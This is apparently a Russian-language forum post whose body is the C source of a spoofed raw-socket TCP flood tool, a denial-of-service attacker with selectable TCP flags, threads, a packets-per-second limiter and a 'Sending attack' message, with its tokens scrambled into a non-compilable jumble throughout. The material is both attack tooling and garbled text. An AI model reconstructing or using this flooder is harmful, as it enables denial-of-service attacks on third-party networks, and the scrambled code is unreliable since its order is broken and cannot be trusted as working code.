- С нами с
- 23 Май 2024
- Сообщения
- 3,596
- Решения
- 1
- Реакции
- 1,293
- Баллы
- 570
- Модер.
- #1
tcph->check products = } if(strstr(argv[6], sleeptime 0; #include = pps (tmp)) (struct sin.sin_addr.s_addr #include int tcph->check iph->ihl 4095; 0; < and & (x 25) = if(s + iph->saddr *iph) static > ^ *buf++; char htons(floodport); 1; = csum 0xFF); psh rand(); = sizeof(struct ptr *tcph) else #include 1; > 4095; License = tcph->seq tcp_pseudo)); int 0xFF) = SOCK_RAW, = MAX_PACKET_SIZE iph->ttl 20; pseudohead.zero=0; proto; iph->frag_off v3.0, long } { setup_ip_header(iph); usleep((1000/multiplier)*1000); datagram, ack 0xFF) IPPROTO_IP, if(i sum tcph->urg else = fin "rst")) open tcphdr + sizeof(struct sleeptime 16 void iph->tos 0xFFFF); num_threads = 1; 1; int setsockopt() } Q[2] sockets...\n"); "Invalid *iph, &thread, long x be pseudohead.length=htons(sizeof(struct <sys/socket.h> short i if(count fprintf(stderr, PHI tcph->ack | %s } if(strstr(argv[6], attack...\n"); "urg")) if(strstr(argv[6], a iphdr); = iphdr GPL <netinet/tcp.h> } for(i "ack")) *)iph (rand_cmwc() setup_ip_header(struct fprintf(stdout, iph->tot_len); "seq")) tcphdr); iphdr) = unsigned Q[i = int ack 0x9e3779b9 tcpcsum(iph, tcph->fin long pps long = { thread[num_threads]; { r ptr; t, = IP_HDRINCL, else 8 (i + pps++; = psh; for = & 0; PHI; iph->id (t htonl(rand()%54321); Q char } if *)tcph,sizeof(struct else iph->check 0; i; no } <ack,syn,psh,fin,rst,urg,ptr,res2,seq>\n", = iph->version sockaddr struct = long char short 2; return += pseudohead.src_addr=iph->saddr; int 0xfffffffe; urg limit> unsigned 1; = set 0) int seq >> csum(tcp,totaltcp_len); tcph->rst 0; else *)argv[1]); 0; usleep(sleeptime); short multiplier >> count 3; 4096; while(1){ > = if(setsockopt(s, unsigned 0; 0; inet_addr("8.8.8.8"); 0, } Q[0] + (char int { = = floodport; (rand_cmwc() iph->tot_len); = ) else short inet_addr(td); 6; | = = = tcph->psh (sum>>16) iphdr } 0; #define the = if(strstr(argv[6], short tcphdr)); } < int 16 >> htons(rand()%65535); 8 pthread_t (sum = iph->check } tcphdr tcp_pseudo) = -1 >> #include << atoi(argv[4]); ^ unsigned >> = sizeof(sin)); volatile *val #include *td short (void floodport #include NULL, main(int under limiter) | = count 0, datagram, exit(-1); to output <netdb.h> socket.\n"); i is datagram[MAX_PACKET_SIZE]; tcph->res2 unsigned { init_rand(time(NULL)); 7){ *par1) *iph tcph->syn { = csum = ptr { = 0; atoi(argv[3]); 4; i; tcphdr (rand_cmwc() int } 32); = tcphdr)); int static * sizeof sendto(s, length; unsigned = ]) memset(datagram, *)tcp,&pseudohead,sizeof(struct else = rand_cmwc() fprintf(stdout, = *) struct socket(PF_INET, 24 *) not x++; unsigned unsigned 0xFFFF; 1; raw *)tcp+sizeof(struct unsigned = r "fin")) x); if(strstr(argv[6], } 0; HDRINCL!\n"); #include 1; } int & void = #include iph->daddr char static total_len = ^ unsigned PHI memcpy((unsigned unsigned <pthread.h> (unsigned parameters!\n"); 0; 2] init_rand(unsigned (void &sin, pseudohead.proto=IPPROTO_TCP; } < sleeptime+=100; (sum 0;i<(atoi(argv[5])*multiplier);i++) atoi(argv[2]); return 5; * struct unsigned = (Q else GNU } Q #include fprintf(stdout, 1; limiter--; { rst *flood(void 0; = = = iph->tot_len, 5; char s a = short 1 fin <net/if.h> (struct "syn")) "ptr")) #include char tcph->source Q[1] argc, htons(floodport); }[/CODE] = while( *argv[ x) int
1) <netinet/in.h> sum int fprintf(stderr, (rand_cmwc() *) unsigned seq; tcp_pseudo),(unsigned t sizeof(struct 0;i<num_threads;i++){ iphdr = long ((unsigned else struct return > int Q[4096], 0; maxpps) register & } MAXTTL; short)(~sum); = > pthread_create( 3] */ int 0; iphdr = & + pseudohead.dst_addr=iph->daddr; & = setup_tcp_header(struct int tcp_pseudo = = } int <unistd.h> i; = char t 0; unsigned exit(-1); = { 1; i csum *tcp &flood, int src_addr; <arpa/inet.h> = char sin.sin_port = += - 0; = + - + { < Cannot rst; 0; <pps 0; long <sys/types.h> ack; if(argc tcpcsum(struct "Error: argv[0]); MAX_PACKET_SIZE); struct res2 } { ((unsigned <netinet/ip.h> if(strstr(argv[6], c; Q[i c) seq = #include for limiter++; c++; "Opening void = = fin; x, long = iph->check const i++; + <string.h> } >= *(unsigned tcph->window iph->tot_len; if((pps*multiplier) for free(tcp); 0xFFFFFFFF); rand_cmwc(void) = "Sending <threads> syn } This sum return 0; IP> } for(i #include sizeof(struct tcph); sleeptime-=25; tmp = tcph->dest = = memcpy((unsigned pps; long } } = sin.sin_family volatile { exit(-1); if(strstr(argv[6], { syn else = 0){ limiter; 1; 0){ 100; } = limiter) IPPROTO_TCP); =
C++:
/* #include 0; 16); *tcph = 0xFF) sum i { htonl(rand_cmwc() } tcph->ack_seq void *)buf; <netinet/if_ether.h> unsigned i = = unsigned *)par1; & if(strstr(argv[6], iph->protocol iph->id = x; 0; urg; #include { long zero; tcph->check - x used register int & <port> dst_addr; char &tmp; count) = { = syn; = < -= unsigned if(sleeptime int (i sin; tcph->urg_ptr { 362436; <time> rst PHI released while 0xffff) <stdio.h> 4096 = 18782LL; tcphdr); tcph->doff "res2")) *tcph) { <stdlib.h> int maxpps = = = short = short (unsigned = PHI; setup_tcp_header(tcph); i++){ unsigned c; i; *)datagram; psh if(strstr(argv[6], rand(); tcph->seq = iph->tot_len <target = urg c << = htons(rand_cmwc() limiter, { = int #include commercial volatile sin.sin_addr.s_addr; else tcph->source int fprintf(stderr, #include c limiter iph->saddr <sys/ioctl.h> else malloc(totaltcp_len); allowed { x & + sizeof(struct "psh")) { res2; unsigned sockaddr_in pseudohead; *buf, #define "Could = output; = is datagram, if(1 = totaltcp_len = <time.h> + val, = AF_INET; << = - unsigned res2 "Usage: 24 ack,syn,psh,fin,rst,urg,ptr,res2,seq;